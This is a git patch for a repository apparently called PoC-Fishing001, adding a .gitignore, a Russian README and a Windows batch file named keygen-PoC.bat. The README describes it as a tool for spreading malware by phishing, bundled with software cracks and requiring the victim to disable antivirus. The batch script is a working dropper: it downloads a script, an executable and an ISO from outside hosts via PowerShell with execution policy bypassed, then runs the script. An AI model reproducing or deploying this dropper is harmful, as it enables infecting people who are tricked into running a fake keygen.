From 0e643d2304f7991fd2d8372c372b0aa73140e30b Mon Sep 17 00:00:00 2001 From: Vadim Revich Date: Fri, 3 Jul 2026 11:02:26 +0400 Subject: [PATCH] First Commit --- .gitignore | 143 +++++++++++++++++++++++++++++++++++ README.md | 19 ++++- keygen-PoC.bat | 197 +++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 356 insertions(+), 3 deletions(-) create mode 100644 .gitignore create mode 100644 keygen-PoC.bat diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9092c52 --- /dev/null +++ b/.gitignore @@ -0,0 +1,143 @@ +# These are some examples of commonly ignored file patterns. +# You should customize this list as applicable to your project. +# Learn more about .gitignore: +# https://www.atlassian.com/git/tutorials/saving-changes/gitignore + +# Node artifact files +node_modules/ +dist/ + +# Compiled Java class files +*.class + +# Compiled Python bytecode +*.py[cod] + +# Log files +*.log + +# Package files +*.jar + +# Maven +target/ +dist/ + +# JetBrains IDE +.idea/ + +# Unit test reports +TEST*.xml + +# Generated by MacOS +.DS_Store + +# Generated by Windows +Thumbs.db +ehthumbs.db +ehthumbs_vista.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Applications +*.app +*.exe +*.war +*.dll +*.elf +*.bin +*.sys +*.ocx +*.com +*.apk + +# Windows archieve files +*.zip +*.rar +*.7z +*.tar +*.gz +*.bz +*.bzip +*.bzip2 +*.bz2 +*.tgz +*.arj +*.ace +*.lha +*.iso +*.Z +*.xz + +# Large media files +*.mp4 +*.tiff +*.avi +*.flv +*.mov +*.wmv +*.mp3 +*.aac +*.m4a +*.wma + +# Auxiliary Files +*.obj +*.wixobj +*.wixpdb +*.tmp +*.log +*.bak +*.o +*.so + +# Windows Installer files +*.cab +*.msi +*.msm +*.msp +*.msu + +# Linux Installer Files +*.deb +*.rpm + +# Windows shortcuts +*.lnk + +# ========================= +# Operating System Files +# ========================= +.svn +.vs/ +obj/ +Debug/ +Release/ +Test/ +TEST/ + +# ======================== +# Icons Files +# ======================== +*.ico + +# ======================== +# Certificates Files +# ======================== +*.cer +*.crl +*.pfx +*.pvk +*.spc + +# ======================== +# Misc Files +# ======================== +Scripts/*.7z +Scripts/*.SFX.exe +#C/ + diff --git a/README.md b/README.md index 619b185..aea8cdc 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,16 @@ -# PoC-Fishing001 - -Proof of Concept программы для распространения мисконфиов методом фишинга \ No newline at end of file +# PoC-Fishing001 + +Proof of Concept программы для распространения мисконфиов методом фишинга + + +## Описание + +Данная программа предназначена для распространения разного malware методом фишинга вместе с кряками к различным программам. Программа требует учётных записей с возможностью повышения привилегий. При загрузке и запуске программы требуется отключение антивируса (стандартная процедура для кряка). + +Программа сделана при помощи утилиты BAT2EXE и по определению детектируется антивирусом как вредоносное программное обеспечение. Именно поэтому основная легенда его распространения — вместе с программным обеспечением для взлома. + +Программа разработана для операционных систем Microsoft Windows 10+. + +При своей загрузке и установке в командной строке программа требует, чтобы пользователь хотя бы раз зашёл в профиль пользователя в графическом интерфейсе. Это действие необходимо для инициализации переменных окружения. + +По-видимому, система не работает в среде Windows Server Core. diff --git a/keygen-PoC.bat b/keygen-PoC.bat new file mode 100644 index 0000000..a532eac --- /dev/null +++ b/keygen-PoC.bat @@ -0,0 +1,197 @@ +::[Bat To Exe Converter] +:: +::YAwzoRdxOk+EWAjk +::fBw5plQjdCuDJECR8Ec+FD9bTxGPOWWuFYk74fzT+ui7pUQJGeo2fIve1IiYIeQa51fhY58u3kZql+hBKhJLdhulaTg9vWZgl1DXEv+5jz/uaQWv71g4Emtz1zOBsBwybvhtg+QG3XDurQP2nKpw +::YAwzuBVtJxjWCl3EqQJgSA== +::ZR4luwNxJguZRRnk +::Yhs/ulQjdF65 +::cxAkpRVqdFKZSTk= +::cBs/ulQjdF65 +::ZR41oxFsdFKZSTk= +::eBoioBt6dFKZSDk= +::cRo6pxp7LAbNWATEpCI= +::egkzugNsPRvcWATEpCI= +::dAsiuh18IRvcCxnZtBJQ +::cRYluBh/LU+EWAnk +::YxY4rhs+aU+JeA== +::cxY6rQJ7JhzQF1fEqQJQ +::ZQ05rAF9IBncCkqN+0xwdVs0 +::ZQ05rAF9IAHYFVzEqQJQ +::eg0/rx1wNQPfEVWB+kM9LVsJDGQ= +::fBEirQZwNQPfEVWB+kM9LVsJDGQ= +::cRolqwZ3JBvQF1fEqQJQ +::dhA7uBVwLU+EWDk= +::YQ03rBFzNR3SWATElA== +::dhAmsQZ3MwfNWATElA== +::ZQ0/vhVqMQ3MEVWAtB9wSA== +::Zg8zqx1/OA3MEVWAtB9wSA== +::dhA7pRFwIByZRRnk +::Zh4grVQjdCuDJECR8Ec+FD9bTxGPOWWuFYk74fzT+ui7pUQJGeo2fIve1IiYIeQa51fhY58u3kZql+hBKhJLdhulaTg9vWZgl1DXEv+5jz/uaQWv71g4Emtz1zOBsCA+edRtlI4T3CPw+VX6/w== +::YB416Ek+ZW8= +:: +:: +::978f952a14a936cc963da21a135fa983 +@echo off +rem ******************************************************* +rem keygen.bat +rem The Script must be run as Administrator +rem ******************************************************* +@echo off + +rem Metadata + +set PRODUCT_NAME=PocFishing001 +set PRODUCT_NAME_FOLDER= +set FIRM_NAME=NIT + +setlocal EnableExtensions DisableDelayedExpansion + +rem Get System Folders File is here + +rem Set a Variables + +set "Reg32=%SystemRoot%\System32\reg.exe" +if not "%ProgramFiles(x86)%" == "" set "Reg32=%SystemRoot%\SysWOW64\reg.exe" + +rem set TPDL variable +rem +if exist "C:\pub1\Distrib\Zlovred" set TPDL=C:\pub1\Distrib\Zlovred&& goto TPDL_End +set TPDL=%TEMP% +:TPDL_End +echo Temp Folder = %TPDL% + +rem Set CURDIR Directoru +set CurDIR=%CD% +set SCRIPTDIR=%~dp0 + +echo Current Directory = %CurDIR% +echo Script Directory = %SCRIPTDIR% + +set "DownloadShellFolder=" +for /F "skip=1 tokens=1,2*" %%T in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "{374DE290-123F-4565-9164-39C4925E467B}" 2^>nul') do ( + if /I "%%T" == "{374DE290-123F-4565-9164-39C4925E467B}" ( + set "DownloadShellFolder=%%V" + goto GetDownloadDirectory + ) +) + +:GetDownloadDirectory +set "DownloadDirectory=" +for /F "skip=1 tokens=1,2,3*" %%S in ('%Reg32% query "HKCU\Software\Microsoft\Internet Explorer" /v "Download Directory" 2^>nul') do ( + if /I "%%S" == "Download" ( + if /I "%%T" == "Directory" ( + set "DownloadDirectory=%%V" + goto GetSaveDirectory + ) + ) +) + +:GetSaveDirectory +set "SaveDirectory=" +for /F "skip=1 tokens=1,2,3*" %%S in ('%Reg32% query "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Save Directory" 2^>nul') do ( + if /I "%%S" == "Save" ( + if /I "%%T" == "Directory" ( + set "SaveDirectory=%%V" + goto OutputResults + ) + ) +) + +:OutputResults + + +rem Get a Downloads Directory +rem +if not defined DownloadShellFolder echo DownloadShellFolder is not Defined && exit /b 1 +if not exist %DownloadShellFolder% echo %DownloadShellFolder% is not Found && exit /b 1 +echo My Download = %DownloadShellFolder% + +rem Set My Documents Variable... +rem +for /f "tokens=2,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Personal" ^|findstr /i "REG_"') do set MyDocuments=%%j + +if not defined MyDocuments (echo Variable My Documents Folder not Defined && exit /b 1) +if not exist %MyDocuments% echo %MyDocuments% is not Found && exit /b 1 +echo My Documents = %MyDocuments% + +rem Set My Desktop Variable... +rem +for /f "tokens=2,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Desktop" ^|findstr /i "REG_"') do set MyDesktop=%%j + +if not defined MyDesktop (echo Variable My Desktop Folder not Defined && exit /b 1) +if not exist %MyDesktop% echo %MyDesktop% is not Found && exit /b 1 +echo My Desktop = %MyDesktop% + +rem Set My Video Variable... +rem +for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Video" ^|findstr /i "REG_"') do set MyVideo=%%j + +if not defined MyVideo (echo Variable My Video Folder not Defined && exit /b 1) +if not exist %MyVideo% echo %MyVideo% is not Found && exit /b 1 +echo My Video = %MyVideo% + +rem Set My Pictures Variable... +rem +for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Pictures" ^|findstr /i "REG_"') do set MyPictures=%%j + +if not defined MyPictures (echo Variable My Pictures Folder not Defined && exit /b 1) +if not exist %MyPictures% echo %MyPictures% is not Found && exit /b 1 +echo My Pictures = %MyPictures% + +rem Set My Music Variable... +rem +for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Music" ^|findstr /i "REG_"') do set MyMusic=%%j + +if not defined MyMusic (echo Variable My Music Folder not Defined && exit /b 1) +if not exist %MyMusic% echo %MyMusic% is not Found && exit /b 1 +echo My Music = %MyMusic% + +rem Check UserProfile Variable... +rem +if not defined UserProfile (echo Variable UserProfile Folder not Defined && exit /b 1) +if not exist %UserProfile% echo %UserProfile% is not Found && exit /b 1 +echo User Profile Folder = %UserProfile% + +rem the End of the Get System Folder File + +rem Set Variables + +set LocalFolder=%DownloadShellFolder% + +rem set hosts + +set host001=http://file.netip4.ru/PROGS/LIB-RUN/WSH/ +set host002=http://file.netip4.ru/PROGS/NIT/NIT.RTBD/Awesome/ +set host003=http://win.netip4.ru/win10plusupdate/misc/ISO/ + +rem set Files +set ISOFile003=NIT-SomePSGUI.iso +set NIT.RTBD002=Awesome.exe +set POCWSH001=echo-server.utf8.wsf + +rem Set Misc +set POSHEXE=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe +set WSCRIPTEXE=%SystemRoot%\System32\wscript.exe + +rem Check Integrity +if not exist %POSHEXE% echo %POSHEXE% is not Found && exit /b 1 +if not exist %WSCRIPTEXE% echo %WSCRIPTEXE% is not Found && exit /b 1 + +if exist %LocalFolder%\%POCWSH001% del %LocalFolder%\%POCWSH001% /q /f +if exist %LocalFolder%\%NIT.RTBD002% del %LocalFolder%\%NIT.RTBD002% /q /f +if exist %LocalFolder%\%ISOFile003% del %LocalFolder%\%ISOFile003% /q /f + +rem Run Payloads + +echo Download Payloads... +%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host001%%POCWSH001%','%LocalFolder%\%POCWSH001%')" +%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host002%%NIT.RTBD002%','%LocalFolder%\%NIT.RTBD002%')" +%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host003%%ISOFile003%','%LocalFolder%\%ISOFile003%')" + +echo Execute Payloads... +%WSCRIPTEXE% //NoLogo %LocalFolder%\%POCWSH001% +rem %LocalFolder%\%NIT.RTBD002% + +:End +echo The End of the Script %0 with Success! +exit /b 0 \ No newline at end of file